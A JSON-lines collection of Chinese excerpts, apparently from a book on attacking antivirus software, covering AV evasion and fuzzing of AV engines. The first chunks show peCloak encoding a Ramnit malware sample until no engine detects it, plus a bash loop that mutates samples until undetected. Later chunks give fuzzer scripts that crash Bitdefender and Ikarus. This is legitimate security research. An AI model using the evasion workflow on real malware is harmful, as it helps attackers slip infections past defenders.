    {"text": "$ md5sum ramnit_767d6b68dbff63f3978bec0114dd875c.exe 767d6b68dbff63f3978bec0114dd875c ramnit_767d6b68dbff63f3978bec0114dd875c.exe $ /home/joxean/multiav/multiav-client.py ip-address-of-multi-av:8080 \\ ramnit_767d6b68dbff63f3978bec0114dd875c.exe -f Results: {u'AVG': {u'/tmp/tmpE4WvF0': u'Win32/Zbot.G'}, u'Avast': {u'/tmp/tmpE4WvF0': u'Win32:RmnDrp'}, u'ClamAV': {u'/tmp/tmpE4WvF0': u'W32.Ramnit-1'}, u'F-Prot': {u'/tmp/tmpE4WvF0': u'W32/Ramnit.E'}, u'ZAV': {u'/tmp/tmpE4WvF0': u'Win32.Ramnit.H'}} 有五款反病毒软件识别出了该样本是已知的恶意软件。"},
    {"text": "现在尝试使用peCloak生成一个样本的修改版本： $ ./peCloak.py -a -o test.exe ramnit_767d6b68dbff63f3978bec0114dd875c.exe ========================================================================= | peCloak.py (beta) | | A Multi-Pass Encoder & Heuristic Sandbox Bypass AV Evasion Tool | | | | Author: Mike Czumak | T_V3rn1x | @SecuritySift | | Usage: peCloak.py [options] [path_to_pe_file] (-h or --help) | ========================================================================= [*] ASLR not enabled [*] Creating new section for code cave... [*] Code cave located at 0x443000 [*] PE Section Information Summary: [+] Name: .text, Virtual Address: 0x1000, Virtual Size: 0x9cda, Characteristics: 0x60000020 [+] Name: .data, Virtual Address: 0xb000, Virtual Size: 0xcdc, Characteristics: 0xc0000040 [+] Name: .rsrc, Virtual Address: 0xc000, Virtual Size: 0x9128, Characteristics: 0x40000040 [+] Name: .text, Virtual Address: 0x16000, Virtual Size: 0x2d000, Characteristics: 0xe0000020 [+] Name: .NewSec, Virtual Address: 0x43000, Virtual Size: 0x1000, Characteristics: 0xe00000e0 [*] Preserving the following entry instructions (at entry address 0x416000): [+] pusha [+] call 0x416006 [+] pop ebp [+] mov eax,ebp [*] Generated Heuristic bypass of 3 iterations [*] Generated Encoder with the following instructions: [+] ADD 0xcc [+] XOR 0x8 [+] XOR 0x4b [+] SUB 0x13 [+] SUB 0x88 [+] XOR 0xc [*] Encoding entire .text section [*] PE .text section made writeable with attribute 0xE0000020 [*] Writing encoded data to file [*] Overwriting first bytes at physical address 0002b000 with jump to code cave [*] Writing code cave to file [+] Heuristic Bypass [+] Decoder [+] Saved Entry Instructions [+] Jump to Restore Execution Flow [+] Final Code Cave (len=188): 90909090909031f631ff905231d25a404833c060 404149424a40483dff7893120000000075ec6061 909033c04048424a405331db5b4149434b3d73dd 160000000075e89c9d424a424a90909033c04048 41493dea2247180000000075f09c9d9c9d909090 0060410000000000424a9080300c9c9d40488000 4048800013424a434b80304b4149803008606151 c9598028cc403d00304400000000007ecd909060 [*] New file saved [test.exe] $ /home/joxean/multiav/multiav-client.py \\ ip-address-of-multi-av:8080 test.exe -f Results: {u'AVG': {}, u'Avast': {}, u'ClamAV': {}, u'F-Prot': {}, u'ZAV': {}} 没有一款反病毒软件检测到修改过后的样本变种。"},
    {"text": "下面是一个使用了之前提到的命令的Shell脚本形式的自动绕过样本研究工具的简化版本： #!/bin/bash MULTIAV_ADDR=ip-address-of-multi-av:8080 MULTIAV_PATH=/path/to/multiav MULTIAV_TOOL=$MULTIAV_PATH/multiav-client.py CLOAK_PATH=/path/to/peCloak.py if [ $# -lt 1 ]; then echo \"Usage: $0 <pefile>\" exit 0 fi sample=$1 while [ 1 ] do echo \"[+] Mutating the input PE file...\" $CLOAK_PATH -a -o test.exe $sample echo \"[+] Testing antivirus detection...\" if $MULTIAV_TOOL $MULTIAV_ADDR test.exe -f; then echo \"[i] Sample `md5sum test.exe` undetected!\" break else echo \"[!] Sample still detected, continuing...\" fi done 脚本运行并使用 peCloak.py 处理传入的文件，对其进行编码，然后发送给MultiAV服务端测试是否有反病毒引擎能够侦测。"},
    {"text": "为了测试精简版本的自动化绕过研究工具，我们传入一个PE文件样本： $ /path/to/multiav-client.py ip-off-multi-av:8080 \\ ramnit_767d6b68dbff63f3978bec0114dd875c.exe -f Results: {u'AVG': {u'/tmp/tmpEZnlZW': u'Win32/Zbot.G'}, u'Avast': {u'/tmp/tmpEZnlZW': u'Win32:RmnDrp'}, u'ClamAV': {u'/tmp/tmpEZnlZW': u'W32.Ramnit-1'}, u'F-Prot': {u'/tmp/tmpEZnlZW': u'W32/Ramnit.E'}, u'ZAV': {u'/tmp/tmpEZnlZW': u'Win32.Ramnit.H'}} $ bash evasion-test.sh ramnit_767d6b68dbff63f3978bec0114dd875c.exe [+] Mutating the input PE file... [+] Testing antivirus detection... Results: {u'AVG': {}, u'Avast': {}, u'ClamAV': {}, u'F-Prot': {}, u'ZAV': {}} [i] Sample ca4ae6888ec92f0a2d644b8aa5c6b249 test.exe undetected! 可以发现，使用peCloak.py和MultiAV编写的简化版Shell脚本已经有足够的能力来生成一个无法被选定反病毒产品侦测到的恶意文件变种。"},
    {"text": "扫描器会对待扫描的文件大小有限制。 例如，如果文件大小超过预设的相关数值，扫描器就会跳过对该文件的扫描。 正是因为存在文件大小上限，攻击者可以通过更改恶意软件文件大小至一个超过预设上限的值，来绕过扫描器检测。"},
    {"text": "当恶意软件带有压缩或混淆的代码，反病毒软件无法进行静态分析的时候，恶意软件就会被模拟执行分析。 反病毒软件中的模拟器有时候不知道如何正确模拟一些混淆指令。"},
    {"text": "黑客攻防技术宝典：反病毒篇 第 13 章 动态分析 与静态分析技术仅分析程序源代码或目标程序的反汇编结果不同，动态分析技术通过运行程序来提取基于程序应用行为的相关分析信息。"},
    {"text": "13.1 模糊测试 模糊测试是一项动态分析技术，通过向测试目标程序传入异常或畸形的数据，来让程序崩溃并从中发现缺陷和有意思的潜在漏洞。 由于比较容易实现，模糊测试大概是挖掘程序缺陷最常见的手段：即使是最基本的模糊测试工具也可以挖掘出漏洞。"},
    {"text": "”对一些人来说，模糊测试工具只是一个简单的畸形样本生成工具——接收传入数据，并根据传入的模糊测试模版生成不同的畸形数据。 对另一些人来讲，一款模糊测试工具不仅仅用于生成畸形文件，还会使用需要测试的目标程序来运行解析生成的畸形样本文件。 还有一些人将模糊测试工具看作一个综合的测试框架，可以用来实现其他用途，而不只是生成畸形文件并使用目标程序运行这些样本文件。"},
    {"text": "…… 在上面列表中的最后一行，我有意留了空白位置，因为针对目标程序或生成的PoC和崩溃还可以开展很多不同形式的分析（比如，不仅仅局限于捕获崩溃的监控技术）。"},
    {"text": "也就是说，脚本将是通用的，可以轻松支持运行在Windows、Linux或Mac OS X平台上的其他反病毒软件，以及目标反病毒产品和系统平台上的命令行扫描器。"},
    {"text": "该基础模糊测试攻击的完整代码如下： $ cat simple_av_fuzzer.py #!/usr/bin/python import os import sys import random from hashlib import md5 #----------------------------------------------------------------------- class CBasicFuzzer: def __init__(self, file_in, folder_out, cmd): \"\"\" Set the directories and the OS command to run after mutating. \"\"\" self.folder_out = folder_out self.file_in = file_in self.cmd = cmd def mutate(self, buf): tmp = bytearray(buf) # Calculate the total number of changes to made to the buffer total_changes = random.randint(1, len(tmp)) for i in range(total_changes): # Select a random position in the file pos = random.randint(0, len(tmp)-1) # Select a random character to replace char = chr(random.randint(0, 255)) # Finally, replace the content at the selected position with the # new randomly selected character tmp[pos] = char return str(tmp) def fuzz(self): orig_buf = open(self.file_in, \"rb\").read() # Create 255 mutations of the input file for i in range(255): buf = self.mutate(orig_buf) md5_hash = md5(buf).hexdigest() print \"[+] Writing mutated file %s\" % repr(md5_hash) filename = os.path.join(self.folder_out, md5_hash) with open(filename, \"wb\") as f: f.write(buf) # Run the operating system command to scan the directory with the av cmd = \"%s %s\" % (self.cmd, self.folder_out) os.system(cmd) #----------------------------------------------------------------------- def usage(): print \"Usage:\", sys.argv[0], \"<filename> <output directory> \" + \\ \"<av scan command>\" #----------------------------------------------------------------------- def main(file_in, folder_out, cmd): fuzzer = CBasicFuzzer(file_in, folder_out, cmd) fuzzer.fuzz() if __name__ == \"__main__\": if len(sys.argv) != 4: usage() else: main(sys.argv[1], sys.argv[2], sys.argv[3]) 上面这个十分基础的模糊测试脚本，创建了一个仅带有三个方法的 CBasicFuzzer 类：构造函数（ __init__ ）、 mutate 和 fuzz 。"},
    {"text": "fuzz 方法会读取一个文件（一般来说是模糊测试模版），然后对读取的缓冲区内容进行变形，接着生成的新的畸变文件（使用计算得出的畸变字节序列的MD5值作为文件名）。"},
    {"text": "最终，创建完成255个畸变样本后，脚本会使用操作系统命令调用反病毒软件来扫描对应目录。 简而言之，该模糊测试脚本创建了255个畸变样本文件，并将它们存入同一个目录中，最后调用反病毒软件扫描对应文件夹。"},
    {"text": "在下面的例子中，模糊测试工具会生成255个随机ELF文件/bin/ls的畸变文件到out目录，接着使用 bdscan 命令让Bitdefender Linux版来扫描该目录： $ python ../simple_av_fuzzer.py /bin/ls out/ bdscan [+] Writing mutated file '27a0f868f6a6509e30c7420ee69a0509' [+] Writing mutated file '9d4aa7877544ef0d7c21ee9bb2b9fb17' [+] Writing mutated file '12055e9189d26b8119126f2196149573' (...252 more files skipped...) BitDefender Antivirus Scanner for Unices v7.90123 Linux-i586 Copyright (C) 1996-2009 BitDefender. All rights reserved. This program is licensed for home or personal use only. Usage in an office or production environment represents a violation of the license terms Infected file action: ignore Suspected file action: ignore Loading plugins, please wait Plugins loaded. /home/joxean/examples/tahh/chapter18/tests/out/ b69e85ab04d3852bbfc60e2ea02a0121 ok /home/joxean/examples/tahh/chapter18/tests/out/ a24f5283fa0ae7b9269724d715b7773d ok /home/joxean/examples/tahh/chapter18/tests/out/ dc153336cd7125bcd94d89d67cd3e44b ok (...) 尽管使用的模糊测试的方式十分基础，但确实有效。"},
    {"text": "但是要编写一个模糊测试工具，使其能够捕获、管理崩溃信息，将PoC移动到其他目录，使反病毒软件能够继续扫描剩余的其他文件，这个过程就会复杂得多。"},
    {"text": "因此，可以根据不同的复杂度来实现模糊测试：可以简单到编写大概只有五行的Shell脚本实现，也可以复杂到借助能进行自动化调试、代码覆盖测试和语义提取的模糊测试框架。"},
    {"text": "使用命令行工具 要解决前面部分中提出的有关自动化的问题，最简单的手段就是使用命令行工具，最起码在Unix操作系统平台上这样的解决方案有效。"},
    {"text": "在开头的 import 行代码下，添加如下几行代码： ... import shutil #----------------------------------------------------------------------- RETURN_SIGNALS = {} RETURN_SIGNALS[138] = \"SIGBUS\" RETURN_SIGNALS[139] = \"SIGSEGV\" RETURN_SIGNALS[136] = \"SIGFPE\" RETURN_SIGNALS[134] = \"SIGABRT\" RETURN_SIGNALS[133] = \"SIGTRAP\" RETURN_SIGNALS[132] = \"SIGILL\" RETURN_SIGNALS[143] = \"SIGTERM\" #----------------------------------------------------------------------- def log(msg): print \"[%s] %s\" % (time.asctime(), msg) 接着，用以下代码替换先前 CBasicFuzzer.fuzz() 方法的相关代码： def fuzz(self): log(\"Starting the fuzzer...\") orig_buf = open(self.file_in, \"rb\").read() log(\"Running 'ulimit -c unlimited'\") os.system(\"ulimit -c unlimited\") # Create mutations of the input file until it's stopped while 1: buf = self.mutate(orig_buf) md5_hash = md5(buf).hexdigest() log(\"Writing mutated file %s\" % repr(md5_hash)) filename = os.path.join(self.folder_out, md5_hash) with open(filename, \"wb\") as f: f.write(buf) # Run the operating system command to scan the file we created cmd = \"exec %s %s > /dev/null\" % (self.cmd, filename) ret = os.system(cmd) log(\"Running %s returned exit code %d\" % (repr(cmd), ret)) if ret in RETURN_SIGNALS: # If the exit code of the process indicates it crashed, rename # the generated \"core\" file. log(\"CRASH: The sample %s crashed the target. Saving information...\" % filename) shutil.copy(\"core\", \"%s.core\" % filename) else: # If the proof-of-concept did not crash the target, remove the # file we just created os.remove(filename) Fuzz() 方法首先会读取原始模版文件，然后运行 ulimit -c unlimited 命令。"},
    {"text": "以下是模糊测试脚本在针对Bitdefender反病毒软件Unix版本进行测试过程中的输出信息： $ python ../simple_av_fuzzerv2.py mysterious_file out/ bdscan [Mon Apr 20 12:39:05 2015] Starting the fuzzer... [Mon Apr 20 12:39:05 2015] Running 'ulimit -c unlimited' [Mon Apr 20 12:39:05 2015] Writing mutated file '986c060db72d2ba9050f587c9a69f7d5' [Mon Apr 20 12:39:07 2015] Running 'exec bdscan out/986c060db72d2ba9050f587c9a69f7d5 > /dev/null' returned exit code 0 [Mon Apr 20 12:39:07 2015] Writing mutated file 'e5e4b5fe275971b9b24307626e8f91f7' [Mon Apr 20 12:39:10 2015] Running 'exec bdscan out/e5e4b5fe275971b9b24307626e8f91f7 > /dev/null' returned exit code 0 [Mon Apr 20 12:39:10 2015] Writing mutated file '287968fb27cf18c80fc3dcd5889db136' [Mon Apr 20 12:39:10 2015] Running 'exec bdscan out/287968fb27cf18c80fc3dcd5889db136 > /dev/null' returned exit code 65024 [Mon Apr 20 12:39:10 2015] Writing mutated file '01ca5841b0a0c438d3ba3e7007cda7bd' [Mon Apr 20 12:39:11 2015] Running 'exec bdscan out/01ca5841b0a0c438d3ba3e7007cda7bd > /dev/null' returned exit code 65024 [Mon Apr 20 12:39:11 2015] Writing mutated file '6bae9a6f1a6cef21fe0d6eb31d1037a5' [Mon Apr 20 12:39:11 2015] Running 'exec bdscan out/6bae9a6f1a6cef21fe0d6eb31d1037a5 > /dev/null' returned exit code 65024 [Mon Apr 20 12:39:11 2015] Writing mutated file '2e783b0aaad7e6687d7a61681445cb08' (...) [Mon Apr 20 12:39:19 2015] Writing mutated file '84652cc61a7f0f2fbe578dcad490c600' [Mon Apr 20 12:39:22 2015] Running 'exec bdscan out/84652cc61a7f0f2fbe578dcad490c600 > /dev/null' returned exit code 139 [Mon Apr 20 12:39:22 2015] CRASH: The sample out/84652cc61a7f0f2fbe578dcad490c600 crashed the target. Saving information... (...) [Mon Apr 20 12:51:16 2015] Writing mutated file 'f6296d601a516278634b44951a67b0d4' [Mon Apr 20 12:51:19 2015] Running 'exec bdscan out/f6296d601a516278634b44951a67b0d4 > /dev/null' returned exit code 139 [Mon Apr 20 12:51:19 2015] CRASH: The sample out/f6296d601a516278634b44951a67b0d4 crashed the target. Saving information... ^C (Press Ctrl+C to stop it) 在模糊测试过程中，Bitdefender反病毒软件没过多久就崩溃了，模糊测试脚本同时保存了core dump文件，以及触发崩溃的畸变模糊测试文件样例。"},
    {"text": "$ LANG=C gdb --quiet bdscan f6296d601a516278634b44951a67b0d4.core Reading symbols from bdscan...(no debugging symbols found)...done. (...) Core was generated by 'bdscan out/f6296d601a516278634b44951a67b0d4'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0xf30beXXX in ?? () (gdb) x /i $pc => 0xf30beXXX: mov 0x24(%ecx,%edx,1),%eax (gdb) i r ecx edx ecx 0x23a80550 598213968 edx 0x9e181c8 165773768 (gdb) x /x $ecx 0x23a80550: Cannot access memory at address 0x23a80550 在本例中，Bitdefender由于非法释放了内存引用的表达式 ECX+EDX+0x24 （即 0x23a80550 ），产生了一个崩溃。"},
    {"text": "接下来将会探讨如何在Windows系统平台上对反病毒软件进行模糊测试。 将反病毒内核移植到Unix平台下 如果反病毒软件只能运行在Windows平台上的话，最好将模糊测试工具（最起码将模糊测试工具核心部分）移植到更适合自动化模糊测试的平台上去。"},
    {"text": "对于运行了Windows XP的虚拟机来说，一般需要1 GB~2 GB内存的机器，不过事实上512 MB内存也够了。 对于运行Windows 7的虚拟机来说，推荐用于模糊测试的最低虚拟机分配内存大小是2 GB，而大多数情况下，可以较好完成相关工作的内存大小应该是4 GB。"},
    {"text": "） 由于每一个新版本的Windows对内存和磁盘空间的消耗会越来越大，推荐使用另一种模糊测试方式：借助Wine（第2章中简单介绍过）设法在Linux系统中对Windows应用程序进行模糊测试。"},
    {"text": "借助Wine可以在Unix系统上，无须对相关二进制文件进行兼容性修改，就可以运行相关文件。 同时有了Wine，我们还可以在Unix系统中，和原生Unix应用程序一样流畅地运行一些Windows系统特有的二进制文件，比如DLL。"},
    {"text": "逆向分析工程需要首先通过逆向分析来挖掘用于加载内核、启动扫描等的接口，然后找出合适的结构编写非官方SDK，最后编写可以运行在类Unix系统平台上的工具。"},
    {"text": "我们需要自己动手提取t3scan.exe和病毒数据库文件t3sigs.vdb。 下载了两个对应的文件以后，借助Wine使用以下命令，运行t3scan.exe： $ wine t3scan.exe 这时候会弹出一个提示框，询问我们是否要提取文件。 选中当前目录，然后点击Extract提取文件。"},
    {"text": "等我们凑齐T3Scan.exe、t3.dll和病毒数据库文件t3sigs.vdb三个文件后，可以运行以下命令测试T3Scan能否运行： $ wine T3Scan.exe fixme:heap:HeapSetInformation (nil) 1 (nil) 0 Syntax: t3scan [options] <samples> t3scan [options] <path> Options: -help | -h | -? This help -filelist | -F <filename> Read input files from newline-separated file <filename> -logfile | -l <filename> Create log file -maxfilesize | -m <n> Max. filesize in MB (default 64MB) -n No simulation -nosubdirs | -d Do not scan sub directories -r <n> Max. recursive scans (default 8) -vdbpath | -vp <directory> Path to signature database Special options: -noarchives | -na Do not scan archive content -rtimeout <seconds> Stop recursively scanning files in an archive after <seconds> -sa Summarize archives: only the final result for the archive is reported -timeout <seconds> Stop scanning a single file after <seconds> -version | -ver Display the program, engine and VDB version -vdbver Display VDB version -verbose | -v Increase the output level -noadware Disable adware/spyware signatures 如果看到程序输出日志，就意味着T3Scan可以借助Wine正确运行。"},
    {"text": "对调整优化前后的代码对比结果如下： $ diff simple_av_fuzzerv2.py simple_av_fuzzer_wine.py 27c27 < def __init__(self, file_in, folder_out, cmd): --- > def __init__(self, file_in, folder_out, cmd, is_wine = False): 32a33,34 > self.is_wine = is_wine > 65c67 < cmd = \"exec %s %s > /dev/null\" % (self.cmd, filename) --- > cmd = \"%s %s\" % (self.cmd, filename) 66a69 > ret = (ret >> 8) + 128 81c84 < print \"Usage:\", sys.argv[0], \"<filename> <output directory> <av scan command>\" --- > print \"Usage:\", sys.argv[0], \"<filename> <output directory> <av scan command> [--wine]\" 84,85c87,88 < def main(file_in, folder_out, cmd): < fuzzer = CBasicFuzzer(file_in, folder_out, cmd) --- > def main(file_in, folder_out, cmd, is_wine=False): > fuzzer = CBasicFuzzer(file_in, folder_out, cmd, is_wine) 89c92 < if len(sys.argv) != 4: --- > if len(sys.argv) < 4: 91c94 < else: --- > elif len(sys.argv) == 4: 92a96,97 > elif len(sys.argv) == 5: > main(sys.argv[1], sys.argv[2], sys.argv[3], True) 上述结果中加粗的部分就是模糊测试脚本中新增的代码。 完成上述调整后，我们就可以和之前在Unix平台上对原生Bitdefender命令行扫描器进行模糊测试那样，对只兼容Windows操作系统的Ikarus命令行扫描器进行模糊测试了，测试过程如下： $ python simple_av_fuzzer_wine.py s_bio.lzh out \"wine32 test/T3Scan.exe\" \\ --wine [Mon Apr 20 18:55:23 2015] Starting the fuzzer... [Mon Apr 20 18:55:23 2015] Running 'ulimit -c unlimited' [Mon Apr 20 18:55:27 2015] Writing mutated file '7ae0b2339d57dbc58dd748a426c3358b' IKARUS - T3SCAN V1.32.33.0 (WIN32) Engine version: 1.08.09 VDB: 20.04.2015 12:09:39 (Build: 91448) Copyright ® IKARUS Security Software GmbH 2014. All rights reserved. Summary: ========================================================== 1 file scanned 0 files infected Used time: 0:02.636 ========================================================== [Mon Apr 20 18:55:30 2015] Running 'wine32 test/T3Scan.exe out/7ae0b2339d57dbc58dd748a426c3358b' returned exit code 128 [Mon Apr 20 18:55:34 2015] Writing mutated file '7c774ed262f136704eeed351b3210173' IKARUS - T3SCAN V1.32.33.0 (WIN32) Engine version: 1.08.09 VDB: 20.04.2015 12:09:39 (Build: 91448) Copyright ® IKARUS Security Software GmbH 2014. All rights reserved. Summary: ========================================================== 1 file scanned 0 files infected Used time: 0:02.627 ========================================================== [Mon Apr 20 18:55:37 2015] Running 'wine32 test/T3Scan.exe out/7c774ed262f136704eeed351b3210173' returned exit code 128 (...) 现在模糊测试脚本就可以正常工作了。"},
    {"text": "首先我们要做的是，找到可以作为模糊测试模版的好的样本文件。 13.1.4 找到好的模糊测试模版 模糊测试模版文件是模糊测试工具改动和生成畸变文件的原始依据。"},
    {"text": "找到用于进行反病毒软件模糊测试的好的模版不仅意味着找到目标反病毒软件支持的某种文件格式（比如，Windows PE文件）和子格式（比如EXE封装工具），还意味着要找到针对特定文件格式的好的模糊测试模版。"},
    {"text": "比如，如果想要测试OLE2容器（比如Microsoft Word或Excel文件），选取的模糊测试模版应该限定为基础Word或Excel文档，然后在模糊测试过程中，我们就能有针对性地对Word或Excel文件的某些特性进行测试，而不是撒网式地进行测试。"},
    {"text": "只有当之前样本没有执行过的新基础区块被执行的时候，新生成的对应样本才会传递给测试程序进行模糊测试。 如果新的样本执行的基础区块，是先前样本没有执行过的，才会被接受。"},
    {"text": "以下是运行内部使用了PIN库的PeachMinset.exe，来针对一系列PNG文件进行处理筛选的过程示例： >peachminset -s pinsamples -m minset -t traces bin\\pngcheck.exe %%s ] Peach 3 -- Minset ] Copyright (c) Deja vu Security [*] Running both trace and coverage analysis [*] Running trace analysis on 15 samples... [1:15] Converage trace of pinsamples\\basn0g01.png...done. [2:15] Converage trace of pinsamples\\basn0g02.png...done. [3:15] Converage trace of pinsamples\\basn0g04.png...done. [4:15] Converage trace of pinsamples\\basn0g08.png...done. [5:15] Converage trace of pinsamples\\basn0g16.png...done. [6:15] Converage trace of pinsamples\\basn2c08.png...done. [7:15] Converage trace of pinsamples\\basn2c16.png...done. [8:15] Converage trace of pinsamples\\basn3p01.png...done. [9:15] Converage trace of pinsamples\\basn3p02.png...done. [10:15] Converage trace of pinsamples\\basn3p04.png...done. [11:15] Converage trace of pinsamples\\basn3p08.png...done. [12:15] Converage trace of pinsamples\\basn4a08.png...done. [13:15] Converage trace of pinsamples\\basn4a16.png...done. [14:15] Converage trace of pinsamples\\basn6a08.png...done. [15:15] Converage trace of pinsamples\\basn6a16.png...done. [*] Finished [*] Running coverage analysis... [-] 3 files were selected from a total of 15. [*] Copying over selected files... [-] pinsamples\\basn3p08.png -> minset\\basn3p08.png [-] pinsamples\\basn3p04.png -> minset\\basn3p04.png [-] pinsamples\\basn2c16.png -> minset\\basn2c16.png [*] Finished 从15个PNG文件中，PeachMinset.exe只筛选出了3个可以全部覆盖到15个文件特性的文件。"},
    {"text": "13.1.5 查找模版文件 在一些情况下，尤其是当提到反病毒引擎的时候，我们需要找出不典型的文件样本（即那些通常情况下在磁盘上找不到的文件）。"},
    {"text": "Google 可以在搜索引擎内，通过关键词intitle:“index of /” .lzh查找这类索引式Web字典。 通过检索，我们可以查找到索引式Web字典中以.lzh结尾的文件（一种压缩文件格式）。 还是Google 借助filetype:LZH也可以查找到有趣的搜索结果。"},
    {"text": "可以将这些生成的样本文件提取作为，针对其他反病毒软件进行模糊测试的模版。 由于覆盖了大多数反病毒产品支持处理的文件格式，这些样本文件可以作为模糊测试过程中良好的切入点。"},
    {"text": "目前包含的样本文件种类如下： samples/av/clam/clam.sis samples/av/clam/clam.odc.cpio samples/av/clam/clam.exe.html samples/av/clam/clam.ole.doc samples/av/clam/clam.d64.zip samples/av/clam/clam.mail samples/av/clam/clam_cache_emax.tgz samples/av/clam/clam.cab samples/av/clam/clam.arj samples/av/clam/clamav-mirror-howto.pdf samples/av/clam/clam.newc.cpio samples/av/clam/clam.exe.rtf samples/av/clam/clam.7z samples/av/clam/clam.ppt samples/av/clam/clam-v2.rar samples/av/clam/clam.tar.gz samples/av/clam/clam.pdf samples/av/clam/clam.impl.zip samples/av/clam/clam.zip samples/av/clam/clam.bin-le.cpio samples/av/clam/clam.exe.szdd samples/av/clam/clam.chm samples/av/clam/clam-v3.rar samples/av/clam/clam.exe.bz2 samples/av/clam/clam.exe.mbox.base64 samples/av/clam/clam.tnef samples/av/clam/clam.exe.binhex samples/av/clam/clam.bin-be.cpio samples/av/clam/clam.exe.mbox.uu samples/av/clam/clam.bz2.zip 这里还有一个建议，就是使用PROTOS Genome Test Suite c10-archive。"},
    {"text": "ace 91518 arj 255343 bz2 321818 cab 130823 gz* 227311 lha 176631 rar 198865 tar 40549 zip 189833 zoo 163595 total 1632691 可以通过以下地址下载到该畸变压缩文件集： https://www.ee.oulu.fi/research/ouspg/PROTOS_Test-Suite_c10-archive 。"},
    {"text": "即便是该测试样本集对所有人公开，而且很可能已经包含在不少反病毒产品的测试套组中，我们还是会惊讶地发现，还有很多反病毒软件在扫描这些样本的过程中出现问题。"},
    {"text": "13.1.6 使代码覆盖率最大化 代码覆盖测试是一种动态分析技术，它基于在程序运行过程中通过相关指令来确定程序执行的不同指令集、基本区块或函数的数量。"},
    {"text": "如果在使用PeachMinset.exe筛选出来的测试样本进行模糊测试的过程中，没有挖掘到任何漏洞，我们需要考虑使用以下方式： 查找可以覆盖更多新特性的测试样本；"},
    {"text": "这类工具会将执行的代码或在目标库中发现的代码进行转化，提取代码中的变量，并将其虚拟化，生成SMT公式，然后使用处理工具来找出可以覆盖更多代码的模糊测试样本。 基于模糊测试模版文件随机或半随机生成测试样例，然后使用代码覆盖测试工具，判断新生成的样本是否会执行新的指令、基础区块或函数。"},
    {"text": "我也试过使用这款工具针对一款反病毒产品进行了为期一周的测试，工具运行的过程中消耗了4 GB的内存，最终没有获取到任何有价值的测试结果，测试也就随之终止。"},
    {"text": "American Fuzzy Lop（AFL） 该款模糊测试工具由著名的安全研究者Michal Zalewski开发，其设计和工作原理在本节已有阐释，即基于代码覆盖测试。 Blind Code Coverage Fuzzer（BCCF） 该款模糊测试工具由作为本书作者之一的Joxean Koret开发。"},
    {"text": "接下来将介绍Nightmare模糊测试框架中的Blind Code Coverage Fuzzer，以及如何使用Nightmare模糊测试框架来针对反病毒产品开展漏洞模糊测试挖掘。 Blind Code Coverage Fuzzer工具 BCCF是Nightmare模糊测试框架中的一个组件，有以下功能： 最大化样本文件代码覆盖率 它能够最大化原始模糊测试模版文件的代码覆盖率；"},
    {"text": "挖掘漏洞 它可以挖掘出原始模糊测试模版无法覆盖的特性； 挖掘新的模糊测试模版 它会对原始测试模版进行随机修改，以此创建模糊测试畸变文件。 而这些新创建的样本文件又可以传递给使用不同样本生成算法的工具，来针对原始模糊测试模版没有覆盖到的特性进行测试。"},
    {"text": "简单来说，BCCF通过运行待测目标处理原始模版文件，对原始传入缓冲区内容做修改，来挖掘出可以覆盖到新基本区块的针对原始测试模版的改动。"},
    {"text": "如果找到了新的基础区块，就会创建新的模糊测试样本，接着新创建的样本又被用作新的模版。 BCCF又会对新模版应用进一步修改变动，来挖掘出之前没有覆盖到的基础区块。"},
    {"text": "但是，如果在迭代修改模版文件多次后，程序发现执行的基础区数量低于之前水平或趋于稳定，则相关模糊测试模版会被丢弃，程序会调用之前一版的样本作为新的模糊测试模版。"},
    {"text": "除非手动停止，否则BCCF可以持续不断地运行下去，挖掘目标软件的漏洞，找到可以作为新一代模版的测试样本，也有可能不断进行迭代直到样本文件数量达到最大值。"},
    {"text": "Blind Code Coverage Fuzzer的使用 要使用BCCF，首先要安装Nightmare模糊测试套装，可以在以下地址下载： https://github.com/joxeankoret/nightmare/ 。 可以通过以下指令，在装有Linux的机器上，将GIT本地仓库（Repository）复制一份到本地目录下： $ git clone https://github.com/joxeankoret/nightmare.git 下载完成后，我们会看到Nightmare模糊测试套装有以下文件和目录： $ ls /path/to/nightmare AUTHORS dependencies fuzzers lib LICENSE.txt NEWS.txt README.md results samples TODO.txt COPYING.txt doc fuzzersUpd LICENSE mutators presos README.txt runtime tasks 我们还需要安装BCCF默认使用的二进制探测工具DynamoRIO。"},
    {"text": "最后，需要在fuzzers/bcf.cfg配置文件中添加如下代码： #----------------------------------------------------------------------- # Configuration for the BCF fuzzer #----------------------------------------------------------------------- [BCF] templates-path=/path/to/nightmare/samples/some_dir # Current options are: DynamoRIO, Pin bininst-tool=DynamoRIO # Use *ONLY* iterative algorithm instead of all algorithms? #iterative=1 # Use *ONLY* radamsa instead of all the implemented algorithms? #radamsa=1 [DynamoRIO] path=/path/to/dynamorio/DynamoRIO-Linux-4.2.0-3/ 成功正确配置二进制探测工具后，我们需要安装一款名为Radamsa的工具。"},
    {"text": "可以使用以下指令下载并安装Radamsa： $ curl http://haltp.org/download/radamsa-0.4.tar.gz \\ | tar -zxvf - && cd radamsa-0.4 && make && sudo make install 安装Radamsa后，可以通过以下指令对其进行测试： sh-4.3$ echo \"Testing 123\" | radamsa Testing 2147483649 sh-4.3$ echo \"Testing 123\" | radamsa -1116324324324323935052789 -1116324323935052789046909 sh-4.3$ echo \"Testing 123\" | radamsa Testing 3 Testing 4294967292949672929496729294967292949672929496729294967292949672 sh-4.3$ echo \"Testing 123\" | radamsa Testing3 ing3 ing3 如上所示，Radamsa尝试对传入字符串 Testing 123 进行变形，并生成完全不同的字符串。"},
    {"text": "在bcf.cfg中加入以下几行： #----------------------------------------------------------------------- # Configuration for BitDefender #----------------------------------------------------------------------- [BitDefender] # Command line to launch it command=/usr/bin/bdscan --no-list # Base tube name basetube=bitdefender # The tube the fuzzer will use to pull of samples tube=%(basetube)s-samples # The tube the fuzzer will use to record crashes crash-tube=%(basetube)s-crash # Extension for the files to be fuzzed extension=.fil # Timeout for this fuzzer timeout=90 # Environment environment=common-environment # File to load/save the state with BCF fuzzer #state-file=state.dat current-state-file=current-state-bd generation-bottom-level=-25 skip-bytes=7 save-generations=1 [common-environment] MALLOC_CHECK_=2 需要注意上述针对Bitdefender antivirus配置中粗体部分的内容。"},
